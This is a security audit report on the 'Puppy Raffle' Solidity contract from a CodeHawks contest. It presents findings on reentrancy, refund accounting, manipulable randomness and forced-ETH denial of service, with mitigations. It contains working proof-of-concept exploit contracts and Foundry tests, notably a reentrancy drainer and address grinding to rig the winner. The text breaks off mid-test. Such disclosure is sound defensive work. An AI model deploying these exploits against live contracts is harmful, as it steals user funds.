Kode-n-Rolla

# Puppy Raffle Security Review

Jan 16th 2026 – Jan 23rd 2026

# Table of Contents

## Whoami

I am Pavel (aka *kode-n-rolla*), an independent security researcher.

Driven by a passion for decentralization and security, I focus on strengthening blockchain ecosystems.

I believe that security is an ongoing process, and my work contributes to making systems more resilient and reliable.

## Disclaimer

This report reflects a time-boxed security review performed as part of a ***CodeHawks*** audit contest.

The analysis focuses exclusively on the security aspects of the reviewed ***Solidity*** codebase and does not guarantee the discovery of all potential vulnerabilities.

Findings represent the issues identified during the allotted review period and should not be considered an endorsement of the underlying protocol, business model, or operational security practices.

## Risk Classification

| Severity | Impact: High | Impact: Medium | Impact: Low |
|---|---|---|---|
| Likelihood: High | H | H/M | M |
| Likelihood: Medium | H/M | M | M/L |
| Likelihood: Low | M | M/L | L |

I used *CodeHawks* severity matrix to determine severity.

Impact refers to the potential harm or consequence to the users or the protocol due to the vulnerability.

- *High Impact*:
    - Funds are directly or nearly directly at risk
    - There's a severe disruption of protocol functionality or availability.
- *Medium Impact*:
    - Funds are indirectly at risk.

    - There's some level of disruption to the protocol's functionality or availability.
- *Low Impact*:
    - Funds are not at risk.
    - However, a function might be incorrect, the state might not be handled appropriately, etc.

## Protocol Summary

**Puppy Raffle** is a raffle-based protocol designed to distribute a random puppy NFT to a single winner at fixed time intervals. Participants enter the raffle by submitting a list of addresses via the *enterRaffle* function and paying the corresponding ticket value. Each address represents one entry, and duplicate participants are explicitly disallowed.

Participants retain the ability to exit the raffle prior to winner selection by calling the *refund* function, which returns their ticket value. At predefined intervals, the protocol selects a random winner, mints a puppy NFT to that address, and finalizes the raffle round.

The total collected funds are split between two parties:

- a **fee address**, configured by the protocol owner, which receives a predefined portion of the value;
- the **raffle winner**, who receives the remaining funds alongside the minted NFT.

The protocol relies on on-chain logic to enforce participant uniqueness, manage refunds, select winners, and distribute funds.

## Audit Details

This audit was conducted as part of a time-boxed competitive security review hosted on the *CodeHawks* platform. The assessment focused exclusively on the ***Solidity*** smart contract logic and its adherence to intended game mechanics, security assumptions, and fund safety.

The review did not include off-chain components, frontend integrations, or economic modeling beyond what is explicitly enforced by the contract code.

The review was performed during the "Puppy Raffle" *CodeHawks* audit event.

## Scope

The audit scope consisted of the following smart contract:

```
./src/
└── PuppyRaffle.sol
```

## Roles

- **Owner**
  Deployer of the protocol. Has the authority to update the address that receives protocol fees via the *changeFeeAddress* function.

- **Player**
  Participant in the raffle. Can enter the raffle by calling the *enterRaffle* function and withdraw their deposited value prior to winner selection by calling the *refund* function.

## Executive Summary

The Puppy Raffle protocol was reviewed with a focus on raffle correctness, fund safety, fairness, and protocol liveness. The assessment identified **six distinct vulnerabilities**, including **three High-severity** and **three Medium-severity** issues.

The High-severity findings expose critical flaws in state management, randomness generation, and accounting logic. These issues enable attackers to **drain the entire raffle balance via reentrancy**, **permanently brick raffle finalization and fee withdrawals through accounting inconsistencies**, and **deterministically bias winner selection and NFT rarity by exploiting caller-controlled randomness**. Collectively, these vulnerabilities break the core security guarantees of the protocol, including fund safety, fairness, and unpredictability.

The Medium-severity findings highlight systemic design weaknesses affecting protocol liveness, scalability, and operational robustness. These include **permanent fee lockup via forced ETH transfers**, **gas-based denial of service due to quadratic duplicate checks**, and **push-payment failures that allow a non-payable winner to permanently block raffle completion**. While these issues do not directly enable theft of user funds, they can render the protocol unusable or financially non-viable under realistic conditions.

Overall, the protocol demonstrates multiple compounding risks arising from unsafe state transitions, reliance on raw ETH balance for accounting, push-based payment flows, and insecure on-chain randomness. Addressing these issues requires **strict adherence to CEI patterns**, **explicit internal accounting**, **pull-based payment mechanisms**, and **verifiable randomness sources**. Without these changes, the protocol remains vulnerable to fund loss, fairness violations, and permanent denial-of-service conditions.

## Issue found

| Severity | Issue |
|---|---|
| High | [H-01] Reentrancy in `PuppyRaffle::refund()` allows draining the entire raffle balance |
| High | [H-02] Refund holes break raffle accounting and permanently brick payouts in `PuppyRaffle::refund()` |
| High | [H-03] Caller-controlled randomness allows attacker to bias winner selection and grind NFT rarity in `PuppyRaffle::selectWinner()` |

| | |
|---|---|
| Medium | [M-01] Forced ETH breaks *withdrawFees()* balance invariant, permanently locking protocol fees |
| Medium | [M-02] Quadratic duplicate check in *PuppyRaffle::enterRaffle()* enables gas-based DoS and limits raffle scalability |
| Medium | [M-03] Push-based prize payout allows non-payable winner to permanently brick raffle finalization |

## Findings

### Highs

### H-01: Reentrancy in `PuppyRaffle::refund()` allows draining the entire raffle balance

#### Description

The `refund()` function performs an external ETH transfer to `msg.sender` **before** updating the internal player state (`players[playerIndex]`). Because the state mutation happens after the external call, a malicious participant implemented as a smart contract can reenter `refund()` via its `receive()` or `fallback()` function while still being considered an active player.

As a result, the attacker can repeatedly trigger `refund()` within a single transaction and withdraw the `entranceFee` multiple times. This allows draining not only the attacker's own deposit but also the funds deposited by other honest participants, ultimately emptying the raffle's ETH balance.

```
    function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the player
can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player already
refunded, or is not active");

        // External call before state update allows reentrancy
@>      payable(msg.sender).sendValue(entranceFee);

        players[playerIndex] = address(0);
        emit RaffleRefunded(playerAddress);
    }
```

#### Impact

- A malicious participant can drain the **entire ETH balance** of the raffle contract, including funds belonging to other honest players.
- The attack irreversibly breaks the raffle's economic integrity, resulting in direct loss of user funds and forcing the raffle round to fail or be cancelled.

## Likelihood

- The raffle explicitly supports refunds for active participants, making *refund()* a standard, user-facing execution path rather than a rare or privileged operation.
- Any participant can enter the raffle using a smart contract address, enabling a reliable reentrancy setup through a *receive()* or *fallback()* function during the ETH transfer.

## Proof of Concept

*ReenterancyContract* in *src/*

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;

interface ITargetContract {
    function enterRaffle(address[] memory) external payable;
    function refund(uint256) external;
    function getActivePlayerIndex(address) external view returns (uint256);
}

contract ReenterancyContract {
    address public targetContract;
    address private owner;
    uint256 private index;
    uint256 public immutable entranceFee;

    constructor(address _target, uint256 _entranceFee) {
        targetContract = _target;
        owner = msg.sender;
        entranceFee = _entranceFee;
    }

    function attack() public payable {
        address[] memory attacker = new address[](1);
        attacker[0] = address(this);
        ITargetContract(targetContract).enterRaffle{value:
msg.value}(attacker);

        index =
ITargetContract(targetContract).getActivePlayerIndex(address(this));

        ITargetContract(targetContract).refund(index);
    }

    receive() external payable {
        if (address(targetContract).balance >= entranceFee) {
            ITargetContract(targetContract).refund(index);
        }
    }

    function withdraw() public {
        require(msg.sender == owner, "Not owner");
        (bool ok, ) = owner.call{value: address(this).balance}("");
        require(ok);
    }
}
```

*PuppyRaffleTest.t.sol*

```
import {ReentrancyContract} from "../src/ReentrancyContract.sol"; // add
import
...
    function test_reentrancyAttack() public {
        // Initialize players and attacker
        address user1 = address(0xb0b);
        address user2 = address(0xCAFE);
        address attacker = address(0xBEEF);

        // Fund users
        address[] memory players = new address[](2);
        players[0] = user1;
        players[1] = user2;
        puppyRaffle.enterRaffle{value: entranceFee * 2}(players);

        // Prepare to attack
        vm.deal(attacker, entranceFee);
        uint256 attackerBalBefore = attacker.balance;

        // Start attack
        vm.startPrank(attacker);
        ReentrancyContract reentrancyContract = new
ReentrancyContract(address(puppyRaffle), entranceFee);
        reentrancyContract.attack{value: entranceFee}();
        reentrancyContract.withdraw();
        vm.stopPrank();

        uint256 attackerBalAfter = attacker.balance;

        assertEq(address(puppyRaffle).balance, 0, "Attack should drain raffle
balance");
        assertEq(attackerBalAfter - attackerBalBefore, entranceFee * 2,
"Profit equals stolen deposits");
    }
```

## Recommended Mitigation

Reorder operations in *refund()* to strictly follow the **Checks-Effects-Interactions (CEI)** pattern by updating internal state **before** performing the external ETH transfer. This ensures that any reentrant call will fail the *playerAddress != address(0)* check.

```
function refund(uint256 playerIndex) public {
    address playerAddress = players[playerIndex];
    require(playerAddress == msg.sender, "PuppyRaffle: Only the player can
refund");
    require(playerAddress != address(0), "PuppyRaffle: Player already
refunded, or is not active");

-   payable(msg.sender).sendValue(entranceFee);
+   // Effects
+   players[playerIndex] = address(0);
+   emit RaffleRefunded(playerAddress);

-   players[playerIndex] = address(0);
-   emit RaffleRefunded(playerAddress);
+   // Interaction
+   payable(msg.sender).sendValue(entranceFee);
}
```

As an additional hardening measure, consider applying a reentrancy guard (e.g., *nonReentrant*) to *refund()* and any other functions performing external calls.

For maximum robustness, a pull-based refund design can also be adopted (record refundable balances and allow users to withdraw via a dedicated function), minimizing reliance on direct ETH transfers.

## H-02: Refund holes break raffle accounting and permanently brick payouts in *PuppyRaffle::refund()*

### Description

The *refund()* function removes a player by overwriting their slot in the *players* array with *address(0)* instead of removing the entry or decrementing an active player counter. As a result, *players.length* no longer represents the number of active participants nor the amount of ETH backing the raffle.

However, subsequent accounting in both *selectWinner()* and *withdrawFees()* relies on *players.length* to compute the prize pool and protocol fees. After one or more refunds, this desynchronization between logical participation and actual ETH balance leads to two critical failure modes:

1. **Raffle finalization failure**

   *selectWinner()* may attempt to transfer a prize pool larger than the contract's available ETH balance, causing the call to revert and rendering the raffle permanently unfinalizable.

2. **Permanent fee lockup**

   Even if the winner payout succeeds, protocol fees can become permanently locked because *withdrawFees()* enforces an invariant based on *address(this).balance* that can no longer be satisfied after refunds.

Both outcomes result in permanent loss of protocol liveness or funds.

```
function refund(uint256 playerIndex) public {
    address playerAddress = players[playerIndex];
    require(playerAddress == msg.sender, "PuppyRaffle: Only the player can
refund");
    require(playerAddress != address(0), "PuppyRaffle: Player already
refunded, or is not active");

@>  payable(msg.sender).sendValue(entranceFee);
@>  players[playerIndex] = address(0); // creates a hole, length unchanged

    emit RaffleRefunded(playerAddress);
}
...
```

```
function selectWinner() external {
...
@>  uint256 totalAmountCollected = players.length * entranceFee; // handle
players.length with address(0) holes
@>  uint256 prizePool = (totalAmountCollected * 80) / 100;
@>  uint256 fee = (totalAmountCollected * 20) / 100;

    totalFees = totalFees + uint64(fee);

@>  (bool success,) = winner.call{value: prizePool}("");
@>  require(success, "PuppyRaffle: Failed to send prize pool to winner");
}
...
function withdrawFees() external {
@>  require(address(this).balance == uint256(totalFees), "PuppyRaffle: There
are currently players active!");
    ...
}
```

## Impact

- The raffle can become permanently unfinalizable when *selectWinner()* attempts to transfer a prize pool exceeding the available balance, resulting in a persistent denial of service for all participants.
- Protocol fees can become permanently locked, preventing *feeAddress* from ever withdrawing accrued fees and causing irreversible loss of funds.

## Likelihood

- Players are explicitly allowed to call *refund()* at any time before raffle finalization, deterministically introducing holes into the players array and breaking the invariant between *players.length* and the contract's ETH balance.
- Both *selectWinner()* and *withdrawFees()* unconditionally rely on *players.length* and *totalFees* for accounting, making the faulty state reachable through normal, intended user behavior without any privileged access or timing assumptions.

## Proof of Concept

The following tests demonstrate two distinct manifestations of the same accounting flaw introduced by refund holes in the players array:

- **PoC #1 – Unfinalizable raffle**

  When more than half of the participants refund their tickets, the contract still satisfies the minimum player count check (players.length >= 4), yet the actual ETH balance becomes insufficient to cover the computed prize pool. As a result, selectWinner() reverts indefinitely and the raffle cannot be finalized.

- **PoC #2 – Permanently locked protocol fees**

  Even when the winner payout succeeds (because sufficient ETH remains for the prize pool), protocol fees become permanently locked. After refunds, the contract balance no longer matches totalFees, causing withdrawFees() to revert indefinitely despite the raffle being completed.

```
    function test_withdrawFees_bricked_afterRefundHoles() public {
        // 1) Enter with 5 players
        address playerFive = address(5);
        address[] memory players = new address[](5);
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = playerThree;
        players[3] = playerFour;
        players[4] = playerFive;

        uint256 depositPerFive = entranceFee * players.length;

        vm.deal(playerOne, depositPerFive);
        vm.prank(playerOne);
        puppyRaffle.enterRaffle{value: depositPerFive}(players);

        // 2) One player refunds -> contract balance decreases but
players.length unchanged
        uint256 idx = puppyRaffle.getActivePlayerIndex(playerOne);
        vm.prank(playerOne);
        puppyRaffle.refund(idx);

        // balance now is 4e
        assertEq(address(puppyRaffle).balance, entranceFee * 4);

        // 3) Time passes and round is finalized
        vm.warp(puppyRaffle.raffleStartTime() + duration + 1);
        vm.prank(playerTwo);
        puppyRaffle.selectWinner();

        // After selectWinner():
        // prizePool = 80% of (5e) = 4e, so contract balance becomes 0
        assertEq(address(puppyRaffle).balance, 0);
        // fee = 20% of (5e) = 1e, so totalFees is now entranceFee
        assertEq(uint256(puppyRaffle.totalFees()), entranceFee);

        // 4) Fees are bricked due to balance-based invariant
        vm.expectRevert("PuppyRaffle: There are currently players active!");
        vm.prank(feeAddress);
        puppyRaffle.withdrawFees();
    }

    function
test_selectWinner_reverts_afterRefundHoles_dueToInsufficientBalance() public
{
        // 1) Enter with 10 players
        address[] memory players = new address[](10);
        for (uint256 i = 0; i < 10; i++) {
            players[i] = address(uint160(i + 1)); // 1..10
        }

        uint256 depositPerTen = entranceFee * players.length;

        vm.deal(playerOne, depositPerTen);
        vm.prank(playerOne);
        puppyRaffle.enterRaffle{value: depositPerTen}(players);

        // 2) Refund 6 players -> balance drops to 4e, but players.length
stays 10
        for (uint256 i = 0; i < 6; i++) {
            uint256 idx = puppyRaffle.getActivePlayerIndex(players[i]);
            vm.prank(players[i]);
            puppyRaffle.refund(idx);
        }

        assertEq(address(puppyRaffle).balance, entranceFee * 4);

        // expected prizePool computed from players.length = 10
        uint256 expectedPrizePool = (entranceFee * 10) * 80 / 100;
        assertEq(expectedPrizePool, entranceFee * 8);

        // 3) Time passes
        vm.warp(puppyRaffle.raffleStartTime() + duration + 1);

        // 4) selectWinner must revert: tries to pay 8e with only 4e balance
        vm.expectRevert("PuppyRaffle: Failed to send prize pool to winner");
        vm.prank(players[7]); // any caller
        puppyRaffle.selectWinner();
    }
```

## Recommended Mitigation

Refunded players should not be represented as *address(0)* while still using *players.length* for payout and fee accounting. Instead, accounting must be based on the number of **active (non-refunded)** players and the actual funds backing the raffle.

A robust mitigation strategy includes one of the following approaches:

- Remove players from the array on refund using a swap-and-pop pattern.
- Maintain an explicit *activePlayersCount* and/or *activePot*, updated on *enterRaffle()* and *refund()*, and compute the prize pool and fees from these active values rather than *players.length*.

Additionally, avoid using *address(this).balance == totalFees* as a proxy for “no active players”, as forced ETH transfers and accounting mismatches can violate this invariant. Instead, gate *withdrawFees()* on an explicit protocol state (e.g., *activePlayersCount == 0*) and/or a finalized-round flag.

```
contract PuppyRaffle is ERC721, Ownable {
     using Address for address payable;

     uint256 public immutable entranceFee;

     address[] public players;
+    mapping(address => uint256) public playerIndex; // 1-based index; 0
means not active
+    uint256 public activePlayersCount;

     uint256 public raffleDuration;
     uint256 public raffleStartTime;
     address public previousWinner;

...
     function enterRaffle(address[] memory newPlayers) public payable {
         require(msg.value == entranceFee * newPlayers.length, "PuppyRaffle:
Must send enough to enter raffle");
         for (uint256 i = 0; i < newPlayers.length; i++) {
+            require(newPlayers[i] != address(0), "PuppyRaffle: Zero
address");
+            require(playerIndex[newPlayers[i]] == 0, "PuppyRaffle: Duplicate
player");
             players.push(newPlayers[i]);
+            playerIndex[newPlayers[i]] = players.length; // 1-based
+            activePlayersCount += 1;
         }

-        // Check for duplicates
-        for (uint256 i = 0; i < players.length - 1; i++) {
-            for (uint256 j = i + 1; j < players.length; j++) {
```

```
-                 require(players[i] != players[j], "PuppyRaffle: Duplicate
player");
-             }
-         }
         emit RaffleEnter(newPlayers);
     }

...
-     function refund(uint256 playerIndex) public {
+-     function refund(uint256 playerIndex_) public {
-         address playerAddress = players[playerIndex];
-         require(playerAddress == msg.sender, "PuppyRaffle: Only the player
can refund");
-         require(playerAddress != address(0), "PuppyRaffle: Player already
refunded, or is not active");
+         // Keep the original interface, but validate index belongs to
msg.sender
+         require(playerIndex_ < players.length, "PuppyRaffle: Invalid
index");
+         address playerAddress = players[playerIndex_];
+         require(playerAddress == msg.sender, "PuppyRaffle: Only the player
can refund");
+         require(playerIndex[playerAddress] != 0, "PuppyRaffle: Player
already refunded, or is not active");

-         payable(msg.sender).sendValue(entranceFee);
-
-         players[playerIndex] = address(0);
+         // Remove player via swap-and-pop to avoid holes
+         uint256 last = players.length - 1;
+         if (playerIndex_ != last) {
+             address moved = players[last];
+             players[playerIndex_] = moved;
+             playerIndex[moved] = playerIndex_ + 1; // keep 1-based
+         }
+         players.pop();
+         playerIndex[playerAddress] = 0;
+         activePlayersCount -= 1;
+
+         payable(msg.sender).sendValue(entranceFee);
         emit RaffleRefunded(playerAddress);
     }

...
     function selectWinner() external {
         require(block.timestamp >= raffleStartTime + raffleDuration,
"PuppyRaffle: Raffle not over");
-         require(players.length >= 4, "PuppyRaffle: Need at least 4
players");
+         require(activePlayersCount >= 4, "PuppyRaffle: Need at least 4
players");
```

```diff
        uint256 winnerIndex =
            uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp,
block.difficulty))) % players.length;
        address winner = players[winnerIndex];
-       uint256 totalAmountCollected = players.length * entranceFee;
+       // Use active player count for accounting
+       uint256 totalAmountCollected = activePlayersCount * entranceFee;
        uint256 prizePool = (totalAmountCollected * 80) / 100;
        uint256 fee = (totalAmountCollected * 20) / 100;
        totalFees = totalFees + uint64(fee);

        uint256 tokenId = totalSupply();
        ...
    }

...
    function withdrawFees() external {
-       require(address(this).balance == uint256(totalFees), "PuppyRaffle:
There are currently players active!");
+       // Explicitly gate on active state; do not infer it from balance
+       require(activePlayersCount == 0, "PuppyRaffle: There are currently
players active!");
        uint256 feesToWithdraw = totalFees;
        totalFees = 0;
        (bool success,) = feeAddress.call{value: feesToWithdraw}("");
        require(success, "PuppyRaffle: Failed to withdraw fees");
    }
```

The fix also aligns `getActivePlayerIndex` with internal accounting by leveraging a constant-time index mapping, removing ambiguity between index `0` and inactive players.

```diff
function getActivePlayerIndex(address player) external view returns (uint256)
{
-   for (uint256 i = 0; i < players.length; i++) {
-       if (players[i] == player) {
-           return i;
-       }
-   }
-   return 0;
+   uint256 idx = playerIndex[player];
+   if (idx == 0) {
+       return 0; // not active
+   }
+   return idx - 1; // convert from 1-based to 0-based index
}
```

## H-03: Caller-controlled randomness allows attacker to bias winner selection and grind NFT rarity in *PuppyRaffle::selectWinner()*

### Description

The randomness used for both **winner selection** and **NFT rarity generation** is derived from attacker-influenced inputs, most notably *msg.sender*, combined with publicly observable block parameters (*block.timestamp* and *block.difficulty*).

Because *msg.sender* is fully controlled by the caller of *selectWinner()*, an attacker can repeatedly vary the calling address (e.g., by deploying multiple contracts or using *CREATE2*) and invoke *selectWinner()* only when the computed outcome is favorable.

```
function selectWinner() external {
    require(block.timestamp >= raffleStartTime + raffleDuration,
"PuppyRaffle: Raffle not over");
    require(players.length >= 4, "PuppyRaffle: Need at least 4 players");

@>  uint256 winnerIndex =
@>      uint256(keccak256(
@>          abi.encodePacked(msg.sender, block.timestamp, block.difficulty)
@>      )) % players.length;

    address winner = players[winnerIndex];

    ...

@>  uint256 rarity =
@>      uint256(keccak256(
@>          abi.encodePacked(msg.sender, block.difficulty)
@>      )) % 100;

    if (rarity <= COMMON_RARITY) {
        tokenIdToRarity[tokenId] = COMMON_RARITY;
    } else if (rarity <= COMMON_RARITY + RARE_RARITY) {
        tokenIdToRarity[tokenId] = RARE_RARITY;
    } else {
        tokenIdToRarity[tokenId] = LEGENDARY_RARITY;
    }
}
```

This enables a deterministic grinding attack in which the attacker selects a caller address that produces a desired *winnerIndex* and/or NFT rarity. As demonstrated in the proof of concept, both the raffle winner and the minted NFT rarity can be manipulated by grinding over possible caller addresses, breaking the fairness and unpredictability guarantees of the raffle.

## Impact

- An attacker can bias or effectively force winner selection by choosing a caller address that maps the computed `winnerIndex` to an attacker-controlled entry in `players`, breaking raffle fairness and enabling direct extraction of the prize pool.
- An attacker can grind NFT rarity outcomes (e.g., increase the probability of minting `LEGENDARY_RARITY`) by selecting favorable caller addresses, undermining the intended rarity distribution and extracting additional economic or collectible value from the NFT mint.

## Likelihood

- Once the raffle duration elapses, **any user** can call `selectWinner()`, and the outcome is directly influenced by the caller-controlled input `msg.sender`, making the attack reachable through normal protocol interaction.
- An attacker can cheaply generate a large number of distinct caller addresses (e.g., via multiple contract deployments or `CREATE2`) and repeatedly attempt or delay finalization until a favorable winner index and/or rarity outcome is produced.

## Proof of Concept

The proof of concept demonstrates that, for fixed block parameters, varying only the caller address (`msg.sender`) changes both the computed `winnerIndex` and the resulting NFT rarity.

By grinding over possible caller addresses, an attacker can deterministically select a caller that results in:

- an attacker-controlled raffle winner, and
- a favorable (e.g., legendary) NFT rarity,

all within a single transaction, fully breaking raffle fairness and rarity guarantees.

```
    function _winnerIndexFor(address caller, uint256 ts, uint256 diff,
uint256 len) internal pure returns (uint256) {
        return uint256(keccak256(abi.encodePacked(caller, ts, diff))) % len;
    }

    function _rarityFor(address caller, uint256 diff) internal pure returns
```

```
 (uint256) {
        return uint256(keccak256(abi.encodePacked(caller, diff))) % 100;
    }

    function test_callerGrinding_controlsWinnerAndRarity() public {
        // 1) Setup players (ensure attacker is one of them)
        address attackerPlayer = address(0xBaD);

        address[] memory players = new address[](4);
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = playerThree;
        players[3] = attackerPlayer;

        vm.deal(playerOne, entranceFee * players.length);
        vm.prank(playerOne);
        puppyRaffle.enterRaffle{value: entranceFee *
players.length}(players);

        // 2) Fix block params for deterministic PoC
        uint256 ts = puppyRaffle.raffleStartTime() + duration + 1;
        vm.warp(ts);
        vm.roll(123456);

        // In Solidity 0.7.6 `block.difficulty` is used in the contract.
        // In Foundry this value is available as `block.difficulty` at
runtime.
        uint256 diff = block.difficulty;

        // 3) Find a caller that makes attackerPlayer the winner AND yields
legendary rarity
        bool found;
        address chosenCaller;

        // Winner must be attackerPlayer index in players array (here it's 3)
        uint256 attackerIndex = 3;

        for (uint256 i = 1; i < 50000; i++) {
            address caller = address(uint160(i));

            uint256 w = _winnerIndexFor(caller, ts, diff, players.length);
            if (w != attackerIndex) continue;

            uint256 r = _rarityFor(caller, diff);

            // Legendary: else branch triggers when rarity > 95
            if (r > (puppyRaffle.COMMON_RARITY() +
puppyRaffle.RARE_RARITY())) {
                found = true;
                chosenCaller = caller;
                break;
            }
        }
        require(found, "No suitable caller found in search range");

        // 4) Execute selectWinner from the chosen caller
        uint256 tokenIdBefore = puppyRaffle.totalSupply();

        vm.prank(chosenCaller);
        puppyRaffle.selectWinner();

        // 5) Assertions: winner is attackerPlayer and rarity is legendary
for minted token
        assertEq(puppyRaffle.previousWinner(), attackerPlayer);

        uint256 mintedRarity = puppyRaffle.tokenIdToRarity(tokenIdBefore);
        assertEq(mintedRarity, puppyRaffle.LEGENDARY_RARITY());
    }
```

## Recommended Mitigation

Replace the on-chain pseudo-randomness (*msg.sender*, *block.timestamp*, *block.difficulty*) with **verifiable randomness** sourced from **Chainlink VRF**. This removes caller-controlled bias and ensures that winner selection and rarity assignment cannot be manipulated via address grinding or transaction ordering.

A robust mitigation approach is:

- When the raffle ends, request a random value via *requestRandomWords*.
- Finalize the raffle **only** inside *fulfillRandomWords*, using the VRF-provided random word to derive:
    - *winnerIndex*
    - NFT rarity
- Enforce a strict state machine (e.g., *OPEN → CALCULATING → OPEN*) to prevent multiple finalizations.

```
// SPDX-License-Identifier: MIT
-pragma solidity ^0.7.6;
+pragma solidity ^0.8.19;

 import {ERC721} from "@openzeppelin/contracts/token/ERC721/ERC721.sol";
 import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol";
 import {Address} from "@openzeppelin/contracts/utils/Address.sol";
 import {Base64} from "lib/base64/base64.sol";
+
+import {VRFConsumerBaseV2} from
"@chainlink/contracts/src/v0.8/vrf/VRFConsumerBaseV2.sol";
+import {VRFCoordinatorV2Interface} from
```

```diff
"@chainlink/contracts/src/v0.8/vrf/interfaces/VRFCoordinatorV2Interface.sol";

-contract PuppyRaffle is ERC721, Ownable {
+contract PuppyRaffle is ERC721, Ownable, VRFConsumerBaseV2 {
     using Address for address payable;

     uint256 public immutable entranceFee;
...
     address public feeAddress;
     uint64 public totalFees = 0;

+    // ----------------------------
+    // Chainlink VRF config/state
+    // ----------------------------
+    VRFCoordinatorV2Interface public immutable vrfCoordinator;
+    bytes32 public immutable keyHash;
+    uint64 public immutable subscriptionId;
+    uint32 public immutable callbackGasLimit;
+
+    enum RaffleState { OPEN, CALCULATING }
+    RaffleState public raffleState;
+    uint256 public lastRequestId;

...
-    constructor(uint256 _entranceFee, address _feeAddress, uint256
_raffleDuration) ERC721("Puppy Raffle", "PR") {
+    constructor(
+        uint256 _entranceFee,
+        address _feeAddress,
+        uint256 _raffleDuration,
+        address _vrfCoordinator,
+        bytes32 _keyHash,
+        uint64 _subscriptionId,
+        uint32 _callbackGasLimit
+    )
+        ERC721("Puppy Raffle", "PR")
+        VRFConsumerBaseV2(_vrfCoordinator)
+    {
         entranceFee = _entranceFee;
         feeAddress = _feeAddress;
         raffleDuration = _raffleDuration;
         raffleStartTime = block.timestamp;
+
+        vrfCoordinator = VRFCoordinatorV2Interface(_vrfCoordinator);
+        keyHash = _keyHash;
+        subscriptionId = _subscriptionId;
+        callbackGasLimit = _callbackGasLimit;
+        raffleState = RaffleState.OPEN;
     }

...
-    function selectWinner() external {
```

```
+    /// @notice Request verifiable randomness to pick a winner.
+    /// Anyone can trigger after the raffle ends.
+    function selectWinner() external {
         require(block.timestamp >= raffleStartTime + raffleDuration,
"PuppyRaffle: Raffle not over");
         require(players.length >= 4, "PuppyRaffle: Need at least 4 players");
+        require(raffleState == RaffleState.OPEN, "PuppyRaffle: Raffle
already finalizing");
+
+        raffleState = RaffleState.CALCULATING;
+
+        // Request 1 random word.
+        lastRequestId = vrfCoordinator.requestRandomWords(
+            keyHash,
+            subscriptionId,
+            3,                  // requestConfirmations
+            callbackGasLimit,
+            1                   // numWords
+        );
     }

+    /// @notice VRF callback - finalize raffle using unbiased randomness.
+    function fulfillRandomWords(uint256 requestId, uint256[] memory
randomWords) internal override {
+        require(raffleState == RaffleState.CALCULATING, "PuppyRaffle: Not
finalizing");
+        require(requestId == lastRequestId, "PuppyRaffle: Unknown request");
+
+        uint256 rand = randomWords[0];
+
+        uint256 winnerIndex = rand % players.length;
+        address winner = players[winnerIndex];
+
+        uint256 totalAmountCollected = players.length * entranceFee;
+        uint256 prizePool = (totalAmountCollected * 80) / 100;
+        uint256 fee = (totalAmountCollected * 20) / 100;
+        totalFees = totalFees + uint64(fee);
+
+        uint256 tokenId = totalSupply();
+
+        // Derive rarity from VRF randomness (avoid second RNG source)
+        uint256 rarityRoll = uint256(keccak256(abi.encodePacked(rand,
tokenId))) % 100;
+        if (rarityRoll <= COMMON_RARITY) {
+            tokenIdToRarity[tokenId] = COMMON_RARITY;
+        } else if (rarityRoll <= COMMON_RARITY + RARE_RARITY) {
+            tokenIdToRarity[tokenId] = RARE_RARITY;
+        } else {
+            tokenIdToRarity[tokenId] = LEGENDARY_RARITY;
+        }
+
+        // Reset raffle
+         delete players;
+         raffleStartTime = block.timestamp;
+         previousWinner = winner;
+         raffleState = RaffleState.OPEN;
+
+         (bool success,) = winner.call{value: prizePool}("");
+         require(success, "PuppyRaffle: Failed to send prize pool to
winner");
+         _safeMint(winner, tokenId);
+     }
```

**Note:** Using Chainlink VRF v2 requires configuring a VRF subscription and specifying the coordinator address, `keyHash`, `subscriptionId`, and `callbackGasLimit` for the target network.

## Mediums

### M-01: Forced ETH breaks *withdrawFees()* balance invariant, permanently locking protocol fees

#### Description

*withdrawFees()* uses the contract's raw ETH balance as a proxy for internal accounting state by requiring:

- *address(this).balance == totalFees*

This assumption is unsafe because ETH can be forcibly sent to a contract without calling its functions or triggering *receive()* / *fallback()* (e.g., via selfdestruct). Once external ETH is forced into the contract, the balance-based invariant becomes permanently false.

As a result, *withdrawFees()* will revert indefinitely, causing protocol fees to become irrecoverably locked even when no active players remain and the raffle otherwise continues operating normally.

```
    function withdrawFees() external {
        // Balance-based invariant can be broken via forced ETH (e.g.,
selfdestruct),
        // permanently blocking fee withdrawal
@>      require(address(this).balance == uint256(totalFees), "PuppyRaffle:
There are currently players active!");
        uint256 feesToWithdraw = totalFees;
        totalFees = 0;
        (bool success,) = feeAddress.call{value: feesToWithdraw}("");
        require(success, "PuppyRaffle: Failed to withdraw fees");
    }
```

#### Impact

- Accrued protocol fees become permanently locked because *withdrawFees()* will consistently revert once the invariant is broken.
- The protocol loses access to its revenue stream, creating an irreversible operational and financial impact despite the raffle's core mechanics remaining functional.

## Likelihood

- The protocol exposes a publicly callable fee withdrawal path whose correctness depends on a balance-based invariant, making it inherently sensitive to external ETH balance changes.
- ETH can be force-sent to the contract at any time via standard EVM mechanisms (e.g., *selfdestruct*) without any permissions or direct interaction with the *PuppyRaffle* contract.

## Proof of Concept

Add an attacker contract (e.g., *ForcedETH.sol*) that force-sends ETH to *PuppyRaffle* via *selfdestruct*.

```
//SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;

contract ForcedETH {
    constructor() payable {}

    function attack(address payable _address) external {
        // Force-send ETH to break balance-based invariant
        selfdestruct(_address);
    }
}
```

Import the attacker contract in *PuppyRaffleTest.t.sol*.

```
    import {ForcedETH} from "../src/ForcedETH.sol";
```

A test demonstrates that after forced ETH is sent, the *withdrawFees()* call reverts permanently due to the broken *address(this).balance == totalFees* check.

```
    function test_withdrawFees_DoS_viaForcedETH() public {
        // Initialize players
        address[] memory players = new address[](4);
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = playerThree;
        players[3] = playerFour;

        // Game preparation
        uint256 playersFunds = entranceFee * 4;

        vm.deal(playerOne, playersFunds);
        vm.prank(playerOne);
        puppyRaffle.enterRaffle{value: playersFunds}(players);

        uint256 fundsForDoS = 0.1 ether;

        // Prepare and attack
        address attacker = address(0xBaD);

        vm.deal(attacker, fundsForDoS);
